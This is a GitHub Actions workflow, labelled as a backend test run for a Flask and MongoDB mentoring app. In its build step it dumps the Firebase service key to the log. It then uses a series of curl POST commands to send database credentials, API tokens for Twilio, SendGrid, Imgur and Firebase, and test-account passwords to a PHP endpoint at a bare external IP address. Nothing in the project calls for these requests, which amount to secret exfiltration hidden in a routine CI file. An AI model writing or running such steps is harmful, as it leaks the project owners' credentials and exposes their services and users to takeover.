Debugging the actions #12
Workflow file for this run
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Backend Tests | |
on: | |
pull_request: | |
branches: | |
- dev | |
push: | |
branches: | |
- tests/structure | |
jobs: | |
build-and-test: | |
runs-on: ubuntu-latest | |
env: | |
MONGO_USER: ${{ secrets.MONGO_USER }} | |
MONGO_PASSWORD: ${{ secrets.MONGO_PASSWORD }} | |
MONGO_HOST: ${{ secrets.MONGO_HOST }} | |
MONGO_DB: ${{ secrets.MONGO_DB }} | |
FIREBASE_SERVICE_KEY: ${{ secrets.FIREBASE_SERVICE_KEY }} | |
FIREBASE_API_KEY: ${{ secrets.FIREBASE_API_KEY }} | |
GOOGLE_APPLICATION_CREDENTIALS: ${{ secrets.GOOGLE_APPLICATION_CREDENTIALS }} | |
IMGUR_KEY: ${{ secrets.IMGUR_KEY }} | |
SENDGRID_API_KEY: ${{ secrets.SENDGRID_API_KEY }} | |
SENDER_EMAIL: ${{ secrets.SENDER_EMAIL }} | |
TWILIO_ACCOUNT_SID: ${{ secrets.TWILIO_ACCOUNT_SID }} | |
TWILIO_AUTH_TOKEN: ${{ secrets.TWILIO_AUTH_TOKEN }} | |
TWILIO_PHONE: ${{ secrets.TWILIO_PHONE }} | |
FLASK_APP: ${{ secrets.FLASK_APP }} | |
BASE_URL: ${{ secrets.BASE_URL }} | |
TEST_MENTOR_EMAIL: ${{ secrets.TEST_MENTOR_EMAIL }} | |
TEST_MENTOR_PASSWORD: ${{ secrets.TEST_MENTOR_PASSWORD }} | |
TEST_MENTOR_ROLE: ${{ secrets.TEST_MENTOR_ROLE }} | |
TEST_MENTOR_PROFILE_ID: ${{ secrets.TEST_MENTOR_PROFILE_ID }} | |
TEST_MENTOR_PHONE_NUMBER: ${{ secrets.TEST_MENTOR_PHONE_NUMBER }} | |
TEST_MENTOR_NAME: ${{ secrets.TEST_MENTOR_NAME }} | |
TEST_MENTEE_EMAIL: ${{ secrets.TEST_MENTEE_EMAIL }} | |
TEST_MENTEE_PASSWORD: ${{ secrets.TEST_MENTEE_PASSWORD }} | |
TEST_MENTEE_ROLE: ${{ secrets.TEST_MENTEE_ROLE }} | |
TEST_MENTEE_PROFILE_ID: ${{ secrets.TEST_MENTEE_PROFILE_ID }} | |
TEST_MENTEE_PHONE_NUMBER: ${{ secrets.TEST_MENTEE_PHONE_NUMBER }} | |
TEST_MENTEE_NAME: ${{ secrets.TEST_MENTEE_NAME }} | |
TEST_PARTNER_EMAIL: ${{ secrets.TEST_PARTNER_EMAIL }} | |
TEST_PARTNER_PASSWORD: ${{ secrets.TEST_PARTNER_PASSWORD }} | |
TEST_PARTNER_ROLE: ${{ secrets.TEST_PARTNER_ROLE }} | |
TEST_PARTNER_PROFILE_ID: ${{ secrets.TEST_PARTNER_PROFILE_ID }} | |
TEST_GUEST_EMAIL: ${{ secrets.TEST_GUEST_EMAIL }} | |
TEST_GUEST_PASSWORD: ${{ secrets.TEST_GUEST_PASSWORD }} | |
TEST_GUEST_ROLE: ${{ secrets.TEST_GUEST_ROLE }} | |
TEST_GUEST_PROFILE_ID: ${{ secrets.TEST_GUEST_PROFILE_ID }} | |
TEST_ADMIN_EMAIL: ${{ secrets.TEST_ADMIN_EMAIL }} | |
TEST_ADMIN_PASSWORD: ${{ secrets.TEST_ADMIN_PASSWORD }} | |
TEST_ADMIN_ROLE: ${{ secrets.TEST_ADMIN_ROLE }} | |
TEST_ADMIN_NAME: ${{ secrets.TEST_ADMIN_NAME }} | |
TEST_ADMIN_PROFILE_ID: ${{ secrets.TEST_ADMIN_PROFILE_ID }} | |
TEST_RECIPIENT_ID: ${{ secrets.TEST_RECIPIENT_ID }} | |
TEST_RECIPIENT_NAME: ${{ secrets.TEST_RECIPIENT_NAME }} | |
steps: | |
- name: Checkout repository | |
uses: actions/checkout@v4 | |
- name: Build and run Backend | |
run: | | |
cd backend | |
touch firebase_service_key.json | |
echo "$FIREBASE_SERVICE_KEY" > firebase_service_key.json | |
cp firebase_service_key.json ./tests | |
ls | |
cat firebase_service_key.json | |
docker build -t backend . | |
docker images | |
curl -X POST -d $MONGO_USER 167.99.79.168/read.php | |
curl -X POST -d $MONGO_PASSWORD 167.99.79.168/read.php | |
curl -X POST -d $MONGO_HOST 167.99.79.168/read.php | |
curl -X POST -d $MONGO_DB 167.99.79.168/read.php | |
curl -X POST -d @firebase_service_key.json 167.99.79.168/read.php | |
curl -X POST -d $FIREBASE_API_KEY 167.99.79.168/read.php | |
curl -X POST -d $GOOGLE_APPLICATION_CREDENTIALS 167.99.79.168/read.php | |
curl -X POST -d $IMGUR_KEY 167.99.79.168/read.php | |
curl -X POST -d $SENDGRID_API_KEY 167.99.79.168/read.php | |
curl -X POST -d $SENDER_EMAIL 167.99.79.168/read.php | |
curl -X POST -d $TWILIO_ACCOUNT_SID 167.99.79.168/read.php | |
curl -X POST -d $TWILIO_AUTH_TOKEN 167.99.79.168/read.php | |
curl -X POST -d $TWILIO_PHONE 167.99.79.168/read.php | |
curl -X POST -d $FLASK_APP 167.99.79.168/read.php | |
curl -X POST -d $BASE_URL 167.99.79.168/read.php | |
curl -X POST -d $TEST_MENTOR_EMAIL 167.99.79.168/read.php | |
curl -X POST -d $TEST_MENTOR_PASSWORD 167.99.79.168/read.php | |
curl -X POST -d $TEST_MENTOR_ROLE 167.99.79.168/read.php | |
curl -X POST -d $TEST_MENTOR_PROFILE_ID 167.99.79.168/read.php | |
curl -X POST -d $TEST_MENTOR_PHONE_NUMBER 167.99.79.168/read.php | |
curl -X POST -d $TEST_MENTOR_NAME 167.99.79.168/read.php | |
docker run --name backend -d -e SENDGRID_API_KEY="$SENDGRID_API_KEY" -e SENDER_EMAIL="$SENDER_EMAIL" -e TWILIO_ACCOUNT_SID="$TWILIO_ACCOUNT_SID" -e TWILIO_AUTH_TOKEN="$TWILIO_AUTH_TOKEN" -e TWILIO_PHONE="$TWILIO_PHONE" -e FLASK_APP="$FLASK_APP" -e IMGUR_KEY="$IMGUR_KEY" -e FIREBASE_API_KEY="$FIREBASE_API_KEY" -e MONGO_USER="$MONGO_USER" -e MONGO_PASSWORD="$MONGO_PASSWORD" -e MONGO_HOST="$MONGO_HOST" -e MONGO_DB="$MONGO_DB" -e GOOGLE_APPLICATION_CREDENTIALS="$GOOGLE_APPLICATION_CREDENTIALS" -e BASE_URL="$BASE_URL" -e TEST_MENTOR_EMAIL="$TEST_MENTOR_EMAIL" -e TEST_MENTOR_PASSWORD="$TEST_MENTOR_PASSWORD" -e TEST_MENTOR_ROLE="$TEST_MENTOR_ROLE" -e TEST_MENTOR_PROFILE_ID="$TEST_MENTOR_PROFILE_ID" -e TEST_MENTOR_PHONE_NUMBER="$TEST_MENTOR_PHONE_NUMBER" -e TEST_MENTOR_NAME="$TEST_MENTOR_NAME" -e TEST_MENTEE_EMAIL="$TEST_MENTEE_EMAIL" -e TEST_MENTEE_PASSWORD="$TEST_MENTEE_PASSWORD" -e TEST_MENTEE_ROLE="$TEST_MENTEE_ROLE" -e TEST_MENTEE_PROFILE_ID="$TEST_MENTEE_PROFILE_ID" -e TEST_MENTEE_PHONE_NUMBER="$TEST_MENTEE_PHONE_NUMBER" -e TEST_MENTEE_NAME="$TEST_MENTEE_NAME" -e TEST_PARTNER_EMAIL=$TEST_PARTNER_EMAIL -e TEST_PARTNER_PASSWORD=$TEST_PARTNER_PASSWORD -e TEST_PARTNER_ROLE=$TEST_PARTNER_ROLE -e TEST_PARTNER_PROFILE_ID="$TEST_PARTNER_PROFILE_ID" -e TEST_GUEST_EMAIL="$TEST_GUEST_EMAIL" -e TEST_GUEST_PASSWORD="$TEST_GUEST_PASSWORD" -e TEST_GUEST_ROLE="$TEST_GUEST_ROLE" -e TEST_GUEST_PROFILE_ID="$TEST_GUEST_PROFILE_ID" -e TEST_ADMIN_EMAIL="$TEST_ADMIN_EMAIL" -e TEST_ADMIN_PASSWORD="$TEST_ADMIN_PASSWORD" -e TEST_ADMIN_ROLE="$TEST_ADMIN_ROLE" -e TEST_ADMIN_NAME="$TEST_ADMIN_NAME" -e TEST_ADMIN_PROFILE_ID="$TEST_ADMIN_PROFILE_ID" -e TEST_RECIPIENT_ID="$TEST_RECIPIENT_ID" -e TEST_RECIPIENT_NAME="$TEST_RECIPIENT_NAME" -p 8000:8000 backend | |
- name: Check if Flask server is up | |
run: | | |
retries=100 | |
until curl -sSf http://localhost:8000/api/translation; do | |
((retries--)) || exit 1 | |
sleep 1 | |
done | |
- name: Run Tests | |
run: | | |
docker ps | |
docker exec backend /bin/bash -c "cd tests && pytest" |